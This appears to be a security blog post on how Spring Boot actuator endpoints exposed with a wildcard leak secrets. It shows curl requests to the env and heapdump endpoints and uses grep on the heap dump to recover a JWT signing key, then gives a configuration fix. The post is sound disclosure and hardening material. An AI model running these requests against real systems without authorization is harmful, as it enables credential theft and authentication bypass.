Leaking secrets from Spring for fun
TL;DR: Spring has a feature called actuator that exposes several endpoints for debugging purposes. These endpoints can reveal sensitive information which can lead to unauthorized access.
Overview
This post discusses a misconfiguration I had found in an identity service built on top of Spring Boot, which essentially allowed bypassing all authentication and authorization.
To understand the issue, let’s begin by understanding how Spring Boot manages application configuration.
Common Application Properties
Spring Boot uses a file named application.properties
or application.yaml
to store key-value pairs that define various properties of the application. These properties can include sensitive information like secrets (passwords, database credentials, AWS keys), as well as configuration options for features like actuator endpoints.
Actuator Endpoints
Actuator endpoints are a feature in Spring that provides you with insights into your application’s health, metrics, configuration, and more through HTTP endpoints. Here’s how the Spring documentation describes it:
Actuator endpoints let you monitor and interact with your application. Spring Boot includes a number of built-in endpoints and lets you add your own. For example, the
health
endpoint provides basic application health information.
To expose these endpoints to the internet, it’s a common practice to use a wild-card entry in the application.properties
file:
management:
endpoints:
web:
exposure:
include: "*"
The caveat with using a wild-card is that it enables all the endpoints, including some sensitive ones such as env
, heapdump
, andlogfile
, which may contain sensitive information.
The Exploit
The env
endpoint, as Spring puts, exposes properties from Spring’s ConfigurableEnvironment
. It lets you access the default and user defined properties in the Spring context:
$ curl 192.168.1.231:8080/actuator/env -s -n | jq
{
... omitted for brevity ...
{
"name": "Config resource 'class path resource [application.properties]' via location 'optional:classpath:/'",
"properties": {
"spring.application.name": {
"value": "******",
"origin": "class path resource [application.properties] - 1:25"
},
"management.endpoints.web.exposure.include": {
"value": "******",
"origin": "class path resource [application.properties] - 2:43"
},
"jwt.secret": {
"value": "******",
"origin": "class path resource [application.properties] - 3:12"
}
}
... omitted for brevity ...
}
The values returned by the env
endpoint are subject to sanitization so Spring replaces them with asterisks (*). However, one thing to note here is the use of jwt.secret
property, which is commonly used by Spring applications to define the JWT signing and verifying key.
Spring also allows us to request a specific property by appending the property name to the URL, but even there we would have no luck in retrieving its actual value:
$ curl 192.168.1.231:8080/actuator/env/jwt.secret -s -n | jq
{
... omitted for brevity ...
{
"name": "Config resource 'class path resource [application.properties]' via location 'optional:classpath:/'",
"property": {
"value": "******",
"origin": "class path resource [application.properties] - 3:12"
}
}
... omitted for brevity ...
}
Not being able to retrieve the secret value makes this at most a low severity issue if not an informational.
This prompted me to take a look at other endpoints and that’s when I stumbled on the heapdump
endpoint, which returns a snapshot of the JVM at a specific point in time. It can be used to analyze memory leaks, performance issues, and debug other problems.
I suspected that the memory dump would contain the secrets we’re looking for because the JVM must have loaded them in memory at some point:
$ curl 192.168.1.231:8080/actuator/heapdump -s -o heapdump.bin
$ strings heapdump.bin | grep -in jwt.secret
183148:jwt.secret!
We have the variable name on line 183148 but not the secret key. What about the line afterwards?
$ strings heapdump.bin | grep -in jwt.secret -A 1
183148:jwt.secret!
183149-supersecretpassword!
Voila!
The Patch
Since the endpoints such as heapdump
or env
are not meant to be exposed publicly, the most effective patch would be to restrict access to such endpoints altogether:
management:
endpoints:
web:
exposure:
include: "health,info"
By limiting exposure to selective endpoints, you significantly reduce the attack surface and protect sensitive information from unauthorized access.
Conclusion
The post demonstrated that any kind of sensitive information, be it AWS tokens, GCP keys, database passwords, or PIIs; you name it, present in the memory can be leaked through the heapdump
endpoint in Spring applications.
Also note that using grep may not be the most efficient way to analyze heapdumps. Using VisualVM instead is a better approach.